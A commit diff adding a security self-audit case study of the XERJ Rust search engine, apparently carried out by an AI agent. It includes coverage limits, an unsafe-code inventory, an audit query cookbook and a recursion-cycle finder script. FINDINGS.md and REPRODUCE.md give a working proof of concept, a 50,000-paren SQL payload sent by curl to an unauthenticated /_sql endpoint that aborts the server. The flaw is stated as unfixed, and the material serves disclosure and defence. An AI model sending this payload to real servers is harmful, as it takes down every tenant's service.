Skip to content

armgit / xerj

Public Imported from GitHub
0

AI search engine and MCP server for bots and agents. One Rust binary indexes code, docs, logs, JSONL/CSV and PDFs for BM25 full-text, vector and hybrid search, code search without grep, agent memory and RAG. Elasticsearch-compatible API; Corpus Hub serves hundreds of reference memory corpora.

docs(case-study): XERJ audits its own Rust — AST substrate + whitebox security pass

xerj-orgb79aed8101af
diff --git a/docs/case-studies/xerj-self-audit/COVERAGE.md b/docs/case-studies/xerj-self-audit/COVERAGE.md
new file mode 100644
index 000000000..b07b68b3d
--- /dev/null
+++ b/docs/case-studies/xerj-self-audit/COVERAGE.md
@@ -0,0 +1,72 @@
+# Coverage — what the substrate sees, and what it can't
+
+Honest accounting of the audit's reach. The value claim depends on this being
+truthful, so the limits are stated as plainly as the coverage.
+
+## What is covered (measured)
+
+| | count |
+|---|---|
+| Rust files under `engine/` (excl. `target/`) | 197 |
+| Files parsed with **0 tree-sitter ERROR nodes** | 197 (100%) |
+| `function_item` AST nodes | 5,095 |
+| Function records emitted | 5,095 (**100.0%**) |
+| Call-graph edges | 87,137 |
+| Route registrations | 477 |
+| axum-handler-shaped functions | 299 |
+| `unsafe` blocks (non-test) | 22 |
+
+Function coverage is asserted, not assumed: `coverage.json` records both the
+independent count of `function_item` nodes and the number of emitted records, and
+they must be equal. The first extractor cut reported 97.2% — nested `fn` items
+inside function bodies were being skipped. That was a real extractor bug; it is
+fixed (the walker descends into function bodies) and the two counts now match.
+
+Per-file coverage, error-node counts, and the full unsafe inventory are in
+`coverage.json` / `unsafe_inventory.json`.
+
+## What the AST substrate cannot see (stated limits)
+
+The extractor is a **lexical + structural** analysis. It gives functions their
+scope and the call graph their edges; it does **not** do type inference or
+dataflow. Concretely, out of reach:
+
+- **Trait / dynamic dispatch.** A `Box<dyn Trait>` call resolves at runtime; the
+ call graph cannot say which impl runs. Edges through dynamic dispatch are
+ missing.
+- **Method-call edges are deliberately excluded.** A method call (`x.len()`)
+ cannot be resolved to a definition without knowing the receiver's type.
+ Resolving by bare name wires every same-named method together — measured, that
+ collapsed 603 functions into one spurious strongly-connected component and hid
+ the real recursion cycle. The call graph therefore contains **free and
+ path-qualified calls only** (`foo()`, `Type::foo()`, `module::foo()`). This is
+ why the recursion-cycle finder works (parser functions are free functions) but
+ would miss a cycle that passes through a trait method.
+- **Macro-generated code.** Bodies inside declarative/procedural macros are not
+ expanded; `#[derive(...)]` and route-registration macros are seen only as text.
+- **`build.rs` / codegen.** Generated sources are not in the tree at audit time.
+- **Callee name collisions across crates.** Where a free-function name is not
+ unique, resolution falls back same-file → same-crate → global; the cycle finder
+ reports its ambiguous-resolution count so the graph's approximation is visible
+ (≈4k ambiguous of 87k edges).
+- **Signal patterns are substrings.** `sinks`, `validators`, `unsafe_ops` are
+ matched as substrings against function text. They are a *triage* signal to
+ narrow the read set — every finding is confirmed by **reading the real code**,
+ never by the pattern alone. Bodies over 12,000 chars are truncated in the index
+ (39 functions; flagged `body_truncated:true`) so the auditor knows to open the
+ file.
+
+## What this means for the findings
+
+- The **recursion-cycle** result (F1 recall + the SQL Critical) is strong: those
+ are free-function cycles the graph represents exactly, and the SQL finding was
+ additionally proven by execution.
+- The **unsafe inventory** is complete for `unsafe` that appears in source text
+ (100% of files parsed); it does not cover unsafety introduced by macro
+ expansion.
+- Lenses that need dataflow (true taint from an extractor param to a sink across
+ method calls) are **approximated** by co-occurrence within a function plus the
+ free-function call graph — good enough to triage, and every candidate is read
+ before it is believed. A finding that would require proving a value is
+ attacker-controlled *through* trait dispatch is out of this substrate's reach
+ and is not claimed.
diff --git a/docs/case-studies/xerj-self-audit/FINDINGS.md b/docs/case-studies/xerj-self-audit/FINDINGS.md
new file mode 100644
index 000000000..f8e56a020
--- /dev/null
+++ b/docs/case-studies/xerj-self-audit/FINDINGS.md
@@ -0,0 +1,134 @@
+# Findings
+
+## Confirmed — Critical
+
+### `POST /_sql` unauthenticated stack-overflow → process abort
+
+**Severity:** Critical (unauthenticated, single request, whole-process abort).
+**Status:** confirmed by crashing a live server. **Not fixed** on current `main`.
+
+**The code.** `engine/crates/xerj-engine/src/sql.rs`, the WHERE-clause
+recursive-descent parser:
+
+```rust
+// sql.rs:414
+fn parse_or_expr(tokens, pos) -> ... { let left = parse_and_expr(...)?; ... }
+// sql.rs:440
+fn parse_and_expr(tokens, pos) -> ... { let left = parse_condition(...)?; ... }
+// sql.rs:466
+fn parse_condition(tokens, pos) -> ... {
+ // NOT: self-recursion, no depth bound
+ if w == "NOT" { let inner = parse_condition(...)?; ... } // sql.rs:471
+ // '(': back to the top of the cycle, no depth bound
+ if let Some(Token::LParen) = tokens.get(*pos) {
+ let inner = parse_or_expr(tokens, pos)?; // sql.rs:483
+ ...
+ }
+}
+```
+
+`parse_or_expr → parse_and_expr → parse_condition → parse_or_expr` is a recursion
+**cycle**, and every `(` in the input drives one more turn around it. There is no
+`DepthGuard` (the type exists in `xerj-query` and PR #69 wired it into the
+*query_string* parser — but not here). Entry is `parse_sql` (`sql.rs:317`), which
+is the handler for the route the routes index gives as:
+
+```
+POST /_sql → sql_query (crates/xerj-api/src/router.rs:637)
+```
+
+**Reachability:** unauthenticated network. Same class as PR #69's **F1** — that
+PR fixed the query_string parser and left the SQL parser, its sibling, unguarded.
+
+**Proof (not argument).** A fresh server, one request:
+
+```bash
+python3 -c "print('{\"query\":\"SELECT * FROM t WHERE '+'('*50000+'a = 1'+')'*50000+'\"}')" > bomb.json
+curl -s -m15 http://127.0.0.1:PORT/_sql -H 'Content-Type: application/json' --data-binary @bomb.json
+```
+
+A benign `SELECT * FROM t WHERE (a = 1)` returns HTTP 200. The payload above
+kills the process in ~1s:
+
+```
+thread 'xerj-rt' (63745) has overflowed its stack
+fatal runtime error: stack overflow, aborting
+... Aborted (core dumped) # exit 134 = 128 + SIGABRT
+```
+
+A stack-overflow abort is not a catchable panic — `catch_unwind` cannot save it,
+and the whole server (every tenant, every index) goes down.
+
+**Suggested fix.** Enter a `DepthGuard` at the top of `parse_condition` (and/or
+`parse_or_expr`), returning a parse error past `MAX_QUERY_DEPTH`, exactly as PR
+#69 did for `parse_qs_unary`. A parse-time token-count/paren-count cap on the raw
+SQL string is a cheap defense-in-depth second layer.
+
+---
+
+## Unsafe inventory
+
+Completeness was an explicit goal. **22 non-test `unsafe` blocks** across the
+engine (plus 2 `unsafe fn` in a test-only allocator example). Every one was read;
+every one carries a SAFETY invariant that holds. Zero unsound sites.
+
+| file | line | fn | unsafe op |
+|---|---|---|---|
+| `xerj-ai/src/neural.rs` | 105 | `load` | mmap safetensors (lifetime documented) |
+| `xerj-api/src/es_compat.rs` | 21687–8 | `read_disk_stats` | `statvfs` FFI + `MaybeUninit` |
+| `xerj-api/src/es_compat.rs` | 25020–33 | `remove_dotted_path` | `&mut *` raw reborrow (single-threaded) |
+| `xerj-autoindex/src/extract/pdf.rs` | 242 | `set_worker_memory_limit` | `setrlimit` FFI |
+| `xerj-autoindex/src/extract/pdf.rs` | 264,273 | `terminate_worker_*` | `kill`/`killpg` FFI |
+| `xerj-engine/src/governor.rs` | 586 | `page_size_bytes` | `sysconf` FFI |
+| `xerj-engine/src/governor.rs` | 699–700 | `disk_stats` | `statvfs` FFI + `MaybeUninit` |
+| `xerj-engine/src/lib.rs` | 119,150,190 | `*_pool` | thread-affinity FFI |
+| `xerj-engine/src/turbo_ingest.rs` | 199 | `tokenize_fast` | `from_utf8_unchecked` (see note) |
+| `xerj-fts/src/index.rs` | 1148 | `mmap_file` | `Mmap::map` |
+| `xerj-server/src/ingest_memory_trace.rs` | 181 | `process_cpu_time_ns` | `clock_gettime` FFI |
+| `xerj-server/src/main.rs` | 979,988 | `run_cli_index` | `Vec::from_raw_parts` (arg shim) |
+| `xerj-storage/src/segment.rs` | 553 | `open` | `Mmap::map` |
+| `xerj-vector/src/hnsw.rs` | 264 | `prefetch_vector` | `_mm_prefetch` raw pointer |
+
+**Two worth a reviewer's eye (both sound):**
+
+- `turbo_ingest.rs:199` `from_utf8_unchecked`. Sound **because** the only mutation
+ upstream (`simd_lowercase`) touches bytes `0x41..=0x5A` only — ASCII uppercase
+ can never appear inside a UTF-8 multi-byte sequence (those are all `≥0x80`), and
+ `simd_find_word_boundaries` cuts only on ASCII separators, so every slice is
+ valid UTF-8. The invariant is subtle and correctly documented.
+- `es_compat.rs:25016` `remove_dotted_path`. Builds a `Vec<*mut Map>` and
+ re-derives `&mut *ptr` during a bottom-up prune. Sound for the single-threaded
+ request path: the raw pointers target distinct parent maps (containers, not
+ entries), each reborrow is fresh with no overlapping live `&mut`, and removing a
+ key from a `serde_json::Map` does not move the container. A safe rewrite with
+ indices is possible but not required for correctness.
+
+---
+
+## Not published (held to the same bar as an external report)
+
+The traversal lens surfaced two **defense-in-depth gaps** that are *not* proven
+exploitable, so they are logged, not claimed as vulnerabilities:
+
+- `engine.rs:797 put_index_mapping(name)` does `data_dir.join(name)` guarded only
+ by `is_dir()`. Writing `es_mapping.json` into an already-existing directory is a
+ weak primitive, and index names are validated upstream post-#69; a containment
+ `debug_assert!` (as #69 added to `Index::open`) would close the gap defensively.
+- `storage/src/backend.rs:80 abs()` does `root.join(path.trim_start_matches('/'))`
+ with no `..` rejection. Reachable only with an attacker-controlled storage
+ **key**, which is internally generated (`{segment_id}.{ext}`), so not currently
+ reachable from the network. Worth a `..` guard for future-proofing.
+
+Neither was reproduced, so neither is a finding. (This is deliberate: a public
+case study should hold its own claims to the standard it would demand of an
+outside report.)
+
+## Refuted during the pass
+
+The blunt category queries (e.g. "any function with a `with_capacity` and no
+`bounds` validator" → 87 candidates) produced many candidates that did **not**
+survive reading the code — almost all were fixed-size or internally-bounded
+allocations. That is exactly why the pipeline sharpens the signal
+(argument-provenance: `alloc_from_param`, `alloc_product`) and why every surviving
+finding was read and, where possible, executed. A finder without a verifier would
+have published the false positives.
diff --git a/docs/case-studies/xerj-self-audit/README.md b/docs/case-studies/xerj-self-audit/README.md
new file mode 100644
index 000000000..9cbcd7e89
--- /dev/null
+++ b/docs/case-studies/xerj-self-audit/README.md
@@ -0,0 +1,125 @@
+# Case study: XERJ audits its own Rust with XERJ
+
+**What this is.** A reproducible whitebox security audit of **XERJ's own engine**
+(197 Rust files, ~201k lines across 16 crates) performed by an AI agent using
+XERJ as its retrieval and reasoning substrate — the [WordPress
+audit](../wordpress-security-audit/README.md) method turned on XERJ itself. XERJ
+had no Rust parser, so the substrate is a tree-sitter-rust extractor
+([`../../examples/rust-ast-audit/`](../../examples/rust-ast-audit/)) that turns
+the source into three queryable indices: functions, call-edges, and routes.
+
+Every number here is reproducible; see [REPRODUCE.md](REPRODUCE.md). The one
+confirmed vulnerability is in [FINDINGS.md](FINDINGS.md), proven by crashing a
+real server, not by argument.
+
+The point is **not** "we 0-day'd our own engine." It is the **method and its
+credibility**: what an AI-assisted Rust audit costs, what the call graph catches
+that grep cannot, and — the part most demos skip — a **ground-truth recall test**
+that measures whether the substrate actually finds real bugs before we trust it
+on unknown ones.
+
+## The credibility test: does this substrate actually find known bugs?
+
+The day before this audit, PR #69 fixed **six** real, network-reachable
+vulnerabilities in this exact codebase, at locations we know precisely. So we
+indexed the **pre-#69 commit** and asked whether the substrate's queries surface
+each one — and re-ran them on current `main` to confirm the signal flips when the
+bug is fixed.
+
+| Bug (PR #69) | Substrate signal | Pre-#69 | Current main |
+|---|---|---|---|
+| **F1** query_string stack overflow | recursion **cycle** with no depth guard | cycle **UNGUARDED** (rank #5 of 186) | same cycle **GUARDED** |
+| **F7** field-limit bypass on ingest | `evolve_schema_*` reads a config limit | `reads_config_limit: false` | `reads_config_limit: true` |
+| **F2/F9** path traversal | `.join(param)` with no containment check | present, no `containment` validator | `containment` validator present |
+| **F6** MLT cross-product OOM | allocation arg is a **product** of params | present | capped |
+
+The two we instrumented most sharply — F1 and F7 — **flip exactly on the fix**.
+That is the difference between "this looks like a security tool" and "this
+detects the class of bug it claims to." It also means the signal is honest: when
+the code is fixed, the query goes quiet.
+
+## The headline: XERJ-assisted vs. "the agent reads all 197 files"
+
+| | Agent reads all files | XERJ-assisted audit |
+|---|---|---|
+| **Tokens to load the codebase once** | ~2,000,000 (approx: 8.0 MB source ÷ 4) | index once, then read only flagged functions |
+| **Fits one context?** | No — ~10× a 200k window; must chunk | Yes — targeted queries return tens of candidates |
+| **Interprocedural reach** | Lost at chunk boundaries | 87,137 call edges preserved across all files |
+| **Finds a recursion *cycle*?** | Only if the whole cycle lands in one chunk | One query over the call graph |
+| **Grounded?** | Skimming 2M tokens → guesses | Every finding cites a real `file:line`, verified by reading it |
+| **Reproducible?** | No | Yes — extractor + queries reproduce exactly |
+
+Substrate build: **~3.2s extract + ~1.9s ingest** for the whole workspace; 31 MB
+on disk. The token figure is a labelled approximation (source bytes ÷ 4), not a
+measured tokenizer count.
+
+## Coverage (the explicit goal was 100%)
+
+- **197/197 files parsed, 0 tree-sitter ERROR nodes.**
+- **5,095 / 5,095 function nodes emitted — 100.0% function coverage.** (Verified
+ by counting `function_item` AST nodes independently of emitted records; a first
+ cut hit 97.2% because nested `fn` items were skipped — that gap is now closed
+ and asserted in `coverage.json`.)
+- 299 axum-handler-shaped functions, 477 route registrations, 21 functions
+ containing `unsafe` (see below).
+
+What the AST substrate **cannot** see is stated in [COVERAGE.md](COVERAGE.md):
+macro-generated code, trait-object dynamic dispatch, and `build.rs` codegen are
+out of reach, and callee resolution is name-based (method calls are deliberately
+excluded from the call graph — see the note below).
+
+## What the audit found
+
+**One confirmed, empirically-proven Critical**, plus an unsafe inventory that came
+back clean:
+
+- **`POST /_sql` stack-overflow DoS** (Critical, unauthenticated). The SQL WHERE
+ parser (`parse_or_expr → parse_and_expr → parse_condition → parse_or_expr`)
+ recurses on every `(` with **no depth guard**. This is the *same class* as F1,
+ which PR #69 fixed — in the query_string parser only. The SQL parser is the
+ unfixed sibling. A single `POST /_sql` with ~50k nested parens aborts the
+ process:
+
+ ```
+ thread 'xerj-rt' has overflowed its stack
+ fatal runtime error: stack overflow, aborting
+ ... Aborted (core dumped)
+ ```
+
+ Found by the call-graph **cycle** query (a grep cannot express "mutually
+ recursive functions with no depth bound"), traced to the `/_sql` route via the
+ routes index, and **proven by killing a live server** (exit 134 / SIGABRT).
+ Full reproduction in [FINDINGS.md](FINDINGS.md).
+
+### Complete `unsafe` inventory — 21 functions, all reviewed, all sound
+
+Completeness was an explicit ask, so the full table is in
+[FINDINGS.md](FINDINGS.md#unsafe-inventory). Breakdown: 12 FFI syscalls
+(`statvfs`/`sysconf`/`clock_gettime`), 4 `MaybeUninit` for those FFI structs, 2
+`Vec::from_raw_parts` in a CLI arg shim, 1 raw-pointer prefetch in HNSW, 1
+`from_utf8_unchecked` in the SIMD tokenizer, and a raw-pointer JSON-tree walk.
+Each carries a documented SAFETY invariant; on review each invariant holds. "0
+unsound sites" is the honest result — and the inventory is the deliverable.
+
+## Honest limits of this pass
+
+This is a **single-agent** audit of the highest-value lenses (recursion/DoS,
+unsafe, path-traversal), run while the multi-agent verification fleet was
+unavailable. The broader lenses — full auth-flow mapping, business-logic
+invariants, every `as`-cast triage — are scoped but not exhausted here; the
+extractor emits the fields for them (`has_narrowing_cast`: 375 non-test sites,
+`lock_across_await`: 15) and the queries are in the
+[cookbook](../../examples/rust-ast-audit/QUERY_COOKBOOK.md), ready for the
+adversarial-verification fleet to grind through. What is published here is only
+what was **proven** or **completely enumerated** — not everything the substrate
+flagged.
+
+## Why this beats reading-all *and* beats grep
+
+- **vs reading-all:** the codebase does not fit one context; chunking destroys
+ the interprocedural reach that found the SQL cycle, and skimming 2M tokens
+ invites hallucinated findings. Here every claim cites code that was read.
+- **vs grep:** grep is line-scoped. It cannot express "a recursion *cycle* across
+ three functions with no depth guard anywhere in it," or "a `.join()` of a
+ request parameter with no containment check in the same function." The call
+ graph makes both a single query.
diff --git a/docs/case-studies/xerj-self-audit/REPRODUCE.md b/docs/case-studies/xerj-self-audit/REPRODUCE.md
new file mode 100644
index 000000000..1089202cf
--- /dev/null
+++ b/docs/case-studies/xerj-self-audit/REPRODUCE.md
@@ -0,0 +1,96 @@
+# Reproduce every result
+
+All numbers reproduce from scratch. Scripts:
+[`../../examples/rust-ast-audit/`](../../examples/rust-ast-audit/).
+
+## 0. Prerequisites
+
+```bash
+python3 -m venv venv && . venv/bin/activate
+pip install tree-sitter==0.26.0 tree-sitter-rust==0.24.2
+# a release xerj binary:
+cargo build --release -j 32 -p xerj-server # produces engine/target/release/xerj
+```
+
+## 1. Build the substrate (extract once, ~3.2s)
+
+```bash
+cd docs/examples/rust-ast-audit
+python3 rust_ast_index.py ../../../engine --out ./ast-out
+# → files_total=197 files_parsed=197 error_nodes_total=0
+# ast_function_nodes=5095 emitted_function_records=5095 function_coverage_pct=100.0
+# call_edges=87137 routes=477 unsafe_block_sites=23 unsafe_fn_declarations=2
+```
+
+`coverage.json` holds the full per-file accounting. Function coverage is asserted
+100% by comparing emitted records to an independent count of `function_item` AST
+nodes.
+
+## 2. Boot xerj and ingest (isolated instance, ~1.9s)
+
+```bash
+cat > audit.toml <<'TOML'
+[server]
+rest_port = 8390
+grpc_port = 8391
+es_compat_port = 9310
+bind_address = "127.0.0.1"
+data_dir = "./auditdata"
+TOML
+# In this sandbox, boot in the BACKGROUND (a foreground boot is reaped):
+../../../engine/target/release/xerj --insecure -c audit.toml &
+until [ "$(curl -s -o /dev/null -w '%{http_code}' -m2 localhost:9310/)" = "200" ]; do sleep 1; done
+
+python3 ingest.py ./ast-out --url http://127.0.0.1:9310
+# → rustfns 5095/5095, rustcalls 87137/87137, rustroutes 477/477 — all match:true
+```
+
+Exact doc-count parity (sent == indexed) is asserted by the script; a mismatch
+exits non-zero.
+
+## 3. The ground-truth recall test
+
+```bash
+# index the PRE-#69 commit under a _pre69 suffix
+git worktree add /tmp/pre69 --detach $(git rev-parse <PR#69-merge>^1)
+python3 rust_ast_index.py /tmp/pre69/engine --out ./ast-pre69
+python3 ingest.py ./ast-pre69 --url http://127.0.0.1:9310 --suffix _pre69
+
+# F1: the query-parser recursion cycle is UNGUARDED pre-#69, GUARDED on main
+python3 find_recursion_cycles.py ./ast-pre69 | grep -A4 parse_qs # has_depth_guard=False
+python3 find_recursion_cycles.py ./ast-out | grep -A4 parse_qs # parse_qs_unary guard=True
+
+# F7: evolve_schema_* gains reads_config_limit=true after the fix
+curl -s localhost:9310/rustfns_pre69/_search -H 'Content-Type: application/json' \
+ -d '{"query":{"prefix":{"fn_name":"evolve_schema"}},"_source":["fn_name","reads_config_limit"]}'
+# → reads_config_limit:false (pre-fix)
+curl -s localhost:9310/rustfns/_search -H 'Content-Type: application/json' \
+ -d '{"query":{"prefix":{"fn_name":"evolve_schema"}},"_source":["fn_name","reads_config_limit"]}'
+# → reads_config_limit:true (fixed)
+```
+
+## 4. The Critical finding — crash a live server
+
+```bash
+# a throwaway instance so you don't kill your audit substrate
+../../../engine/target/release/xerj --insecure -c crash.toml & # es_compat_port=9311
+until [ "$(curl -s -o /dev/null -w '%{http_code}' -m2 localhost:9311/)" = "200" ]; do sleep 1; done
+curl -s -X PUT localhost:9311/t -H 'Content-Type: application/json' \
+ -d '{"mappings":{"properties":{"a":{"type":"integer"}}}}'
+
+# baseline: fine
+curl -s -m5 localhost:9311/_sql -H 'Content-Type: application/json' \
+ -d '{"query":"SELECT * FROM t WHERE (a = 1)"}' -o /dev/null -w 'HTTP %{http_code}\n' # 200
+
+# attack: process aborts
+python3 -c "print('{\"query\":\"SELECT * FROM t WHERE '+'('*50000+'a = 1'+')'*50000+'\"}')" > bomb.json
+curl -s -m15 localhost:9311/_sql -H 'Content-Type: application/json' --data-binary @bomb.json \
+ -o /dev/null -w 'HTTP %{http_code}\n' # 000 (empty reply — server gone)
+# the server log shows: "fatal runtime error: stack overflow, aborting"; the
+# process exits 134 (SIGABRT).
+```
+
+## 5. Query cookbook
+
+Every audit query, with live hit counts, is in
+[`../../examples/rust-ast-audit/QUERY_COOKBOOK.md`](../../examples/rust-ast-audit/QUERY_COOKBOOK.md).
diff --git a/docs/examples/rust-ast-audit/QUERY_COOKBOOK.md b/docs/examples/rust-ast-audit/QUERY_COOKBOOK.md
new file mode 100644
index 000000000..0d7f0b479
--- /dev/null
+++ b/docs/examples/rust-ast-audit/QUERY_COOKBOOK.md
@@ -0,0 +1,125 @@
+# Query cookbook — auditing Rust with XERJ
+
+Every query below runs against the live AST substrate (three indices:
+`rustfns`, `rustcalls`, `rustroutes`) built by `rust_ast_index.py` + `ingest.py`.
+Hit counts are from XERJ's own source at the current `main` (5,095 functions,
+87,137 call edges, 477 routes; 197 files, 100% function coverage, 0 parse errors).
+
+The point of each query is that it narrows ~207k lines of Rust to a candidate set
+an agent can actually *read* — and expresses a scoped question (source **and**
+sink in the same reachable function; recursion **cycle** with no depth guard)
+that a file-scoped grep cannot.
+
+`$X = http://127.0.0.1:9310`
+
+## Reachability: what an unauthenticated request can hit
+
+```bash
+# Every axum-handler-shaped function (takes Path/Query/Json/State/... + async).
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{"filter":[
+ {"term":{"is_handler_shaped":true}},{"term":{"is_test":false}}]}}}'
+# → 298
+```
+
+```bash
+# The route table itself: method + path → handler.
+curl -s "$X/rustroutes/_search" -d '{"query":{"wildcard":{"path":"*sql*"}},
+ "_source":["method","path","handler","file","line"]}'
+# → POST /_sql → sql_query (crates/xerj-api/src/router.rs:637)
+```
+
+## Panic / process-abort DoS
+
+```bash
+# Recursion with NO depth bound — the stack-overflow shape. (Direct self-calls;
+# the call-graph CYCLE version is find_recursion_cycles.py, below.)
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{
+ "filter":[{"term":{"calls_self":true}},{"term":{"is_test":false}}],
+ "must_not":[{"term":{"has_depth_guard":true}}]}}}'
+# → 377 (broad; the cycle finder is the sharp tool)
+```
+
+```bash
+# Narrowing `as` casts on a codebase with a documented truncation-bug history.
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{"filter":[
+ {"term":{"has_narrowing_cast":true}},{"term":{"is_test":false}}]}}}'
+# → 375
+```
+
+## Unbounded allocation
+
+```bash
+# Allocation whose size is derived from a parameter (with_capacity/reserve/vec!/repeat).
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{"filter":[
+ {"range":{"alloc_from_param_count":{"gte":1}}},{"term":{"is_test":false}}]}}}'
+# → 137
+```
+
+```bash
+# The cross-product blowup shape: an allocation argument that MULTIPLIES two values
+# (fields.len() * like.len() — the exact shape of PR #69's F6).
+curl -s "$X/rustfns/_count" -d '{"query":{"term":{"alloc_product":true}}}'
+```
+
+## Path traversal / filesystem escape
+
+```bash
+# `.join(param)` — a path built from an attacker-influenced component — with NO
+# lexical/canonical containment check in the same function.
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{
+ "filter":[{"term":{"path_join_from_param":true}},{"term":{"is_test":false}}],
+ "must_not":[{"term":{"validators":"containment"}}]}}}'
+# → 17 (down from 56 with the blunt sink filter; the argument-provenance signal
+# is what sharpens it)
+```
+
+## Unsafe inventory (100% of sites)
+
+```bash
+# Every function containing unsafe (block or unsafe fn), non-test.
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{"filter":[
+ {"term":{"unsafe_any":true}},{"term":{"is_test":false}}]}}}'
+# → 19 (+2 test-only = 21 total; matches the extractor's independent count)
+
+# Group by the unsafe operation kind (ffi_call, uninit, from_raw, ptr_arith, …).
+curl -s "$X/rustfns/_search" -d '{"size":0,"query":{"term":{"unsafe_any":true}},
+ "aggs":{"ops":{"terms":{"field":"unsafe_ops","size":20}}}}'
+```
+
+## Concurrency
+
+```bash
+# A lock guard bound to a name, with an `.await` later in the function body:
+# a lock potentially held across a suspension point.
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{"filter":[
+ {"term":{"lock_across_await":true}},{"term":{"is_test":false}}]}}}'
+# → 15
+```
+
+## Deserialization surface
+
+```bash
+curl -s "$X/rustfns/_count" -d '{"query":{"bool":{"filter":[
+ {"term":{"sinks":"deserialize"}},{"term":{"is_test":false}}]}}}'
+# → 147
+```
+
+## The query grep cannot express: recursion CYCLES
+
+A stack-overflow in a recursive-descent parser is rarely direct self-recursion —
+it is a cycle across several functions (`parse_or → parse_and → parse_condition →
+parse_or`). No single file or regex shows it; the call graph does.
+
+```bash
+python3 find_recursion_cycles.py <ast-out-dir>
+# → 194 cycles, 186 unguarded. Ranks the query-parser cycle at #5;
+# the same cycle is UNGUARDED pre-#69 and GUARDED on current main.
+# Surfaced an UNFIXED sibling: the /_sql WHERE-clause parser (see FINDINGS.md).
+```
+
+## Note on the boolean-term quirk
+
+The WordPress case study documented a XERJ bug where boolean `term` filters had to
+be written as strings (`"true"`). **That is fixed on current main** — both
+`{"term":{"unsafe_any":true}}` and `{"term":{"unsafe_any":"true"}}` return 21.
+Verified, not assumed.
diff --git a/docs/examples/rust-ast-audit/README.md b/docs/examples/rust-ast-audit/README.md
new file mode 100644
index 000000000..96f7f0312
--- /dev/null
+++ b/docs/examples/rust-ast-audit/README.md
@@ -0,0 +1,37 @@
+# Rust AST security substrate for XERJ
+
+Tools that turn a Rust workspace into a queryable security substrate in XERJ, so
+an AI agent can *interrogate* the code instead of reading all of it. Built to
+audit XERJ's own engine — see the case study in
+[`../../case-studies/xerj-self-audit/`](../../case-studies/xerj-self-audit/).
+
+## Scripts
+
+- **`rust_ast_index.py`** — tree-sitter-rust extractor. Walks a workspace and
+ emits three NDJSON streams (`functions`, `calls`, `routes`) plus `coverage.json`
+ and `unsafe_inventory.json`. Records carry the security-relevant AST facts:
+ unsafe ops, panic/abort sites, `as` casts, allocation-from-parameter shapes,
+ axum extractors, filesystem/process/deserialize sinks, validator calls, and
+ lock-across-await. 100% function coverage on XERJ's engine, asserted against an
+ independent AST node count.
+- **`ingest.py`** — creates three XERJ indices with **explicit** mappings (exact
+ values are `keyword`, code bodies are `text`) and bulk-loads the streams,
+ asserting sent == indexed.
+- **`find_recursion_cycles.py`** — the query grep cannot express: strongly-
+ connected components of the free-function call graph, flagging cycles with no
+ depth guard (the stack-overflow-from-nesting shape). Method-call edges are
+ excluded on purpose (unresolvable without type inference).
+
+## Quick start
+
+```bash
+python3 -m venv venv && . venv/bin/activate
+pip install tree-sitter==0.26.0 tree-sitter-rust==0.24.2
+python3 rust_ast_index.py ../../../engine --out ./ast-out
+# boot xerj on 9310 (see the case study REPRODUCE.md), then:
+python3 ingest.py ./ast-out --url http://127.0.0.1:9310
+python3 find_recursion_cycles.py ./ast-out
+```
+
+Audit queries with live hit counts: [`QUERY_COOKBOOK.md`](QUERY_COOKBOOK.md).
+Committed sample outputs: `sample-coverage.json`, `sample-unsafe-inventory.json`.
diff --git a/docs/examples/rust-ast-audit/find_recursion_cycles.py b/docs/examples/rust-ast-audit/find_recursion_cycles.py
new file mode 100644
index 000000000..957e06cfc
--- /dev/null
+++ b/docs/examples/rust-ast-audit/find_recursion_cycles.py
@@ -0,0 +1,194 @@
+#!/usr/bin/env python3
+"""Find unguarded recursion cycles in the call graph.
+
+This is the query a grep cannot express. A stack-overflow DoS in a recursive
+descent parser is rarely direct self-recursion — it is a CYCLE:
+
+ parse_qs_unary -> parse_qs_or -> parse_qs_and -> parse_qs_unary
+
+No single file, function, or regex shows that. The call graph does: find the
+strongly connected components of the internal call graph, then report the ones
+where NO member establishes a depth bound. Each such cycle is a candidate
+"attacker-controlled nesting depth becomes stack depth" bug.
+
+Usage:
+ python3 find_recursion_cycles.py <ast-out-dir> [--min-size 1] [--json]
+"""
+
+import argparse
+import json
+import os
+import sys
+from collections import defaultdict
+
+
+def load(astdir):
+ fns = [json.loads(l) for l in open(os.path.join(astdir, "functions.ndjson"))]
+ calls = [json.loads(l) for l in open(os.path.join(astdir, "calls.ndjson"))]
+ return fns, calls
+
+
+def build_graph(fns, calls):
+ """Edges between INTERNAL functions only, keyed by (file, name).
+
+ Callee resolution is by short name within the same file first, then within
+ the same crate, then globally unique name. Name collisions across crates are
+ reported so the caller knows the graph is approximate there.
+ """
+ by_file_name = defaultdict(list)
+ by_crate_name = defaultdict(list)
+ by_name = defaultdict(list)
+ for f in fns:
+ key = f["id"]
+ by_file_name[(f["file"], f["fn_name"])].append(key)
+ by_crate_name[(f["crate"], f["fn_name"])].append(key)
+ by_name[f["fn_name"]].append(key)
+
+ info = {f["id"]: f for f in fns}
+ caller_of = {f["id"]: f for f in fns}
+ graph = defaultdict(set)
+ ambiguous = 0
+
+ skipped_method = 0
+ for c in calls:
+ src = c["caller_id"]
+ if src not in caller_of:
+ continue
+ # Method calls are unresolvable without type inference. Resolving
+ # `.len()` / `.push()` / `.new()` by bare name wires every same-named
+ # function in the workspace together: measured, that collapsed 603
+ # functions into ONE spurious strongly-connected component and hid the
+ # real 3-cycle inside it. Free and path-qualified calls only.
+ if c.get("is_method") or c["kind"] == "macro":
+ skipped_method += 1
+ continue
+ f = caller_of[src]
+ name = c["callee"]
+ cands = (by_file_name.get((f["file"], name))
+ or by_crate_name.get((f["crate"], name))
+ or by_name.get(name))
+ if not cands:
+ continue
+ if len(cands) > 1:
+ ambiguous += 1
+ # same-file candidates are the safest disambiguation
+ same = [x for x in cands if info[x]["file"] == f["file"]]
+ cands = same or cands[:1]
+ for dst in cands[:1]:
+ graph[src].add(dst)
+ return graph, info, {"ambiguous": ambiguous, "skipped_method_calls": skipped_method}
+
+
+def sccs(graph, nodes):
+ """Tarjan, iterative (the graph is large enough that recursion would be ironic)."""
+ index = {}
+ low = {}
+ on_stack = {}
+ stack = []
+ result = []
+ counter = [0]
+
+ for root in nodes:
+ if root in index:
+ continue
+ work = [(root, iter(graph.get(root, ())))]
+ index[root] = low[root] = counter[0]
+ counter[0] += 1
+ stack.append(root)
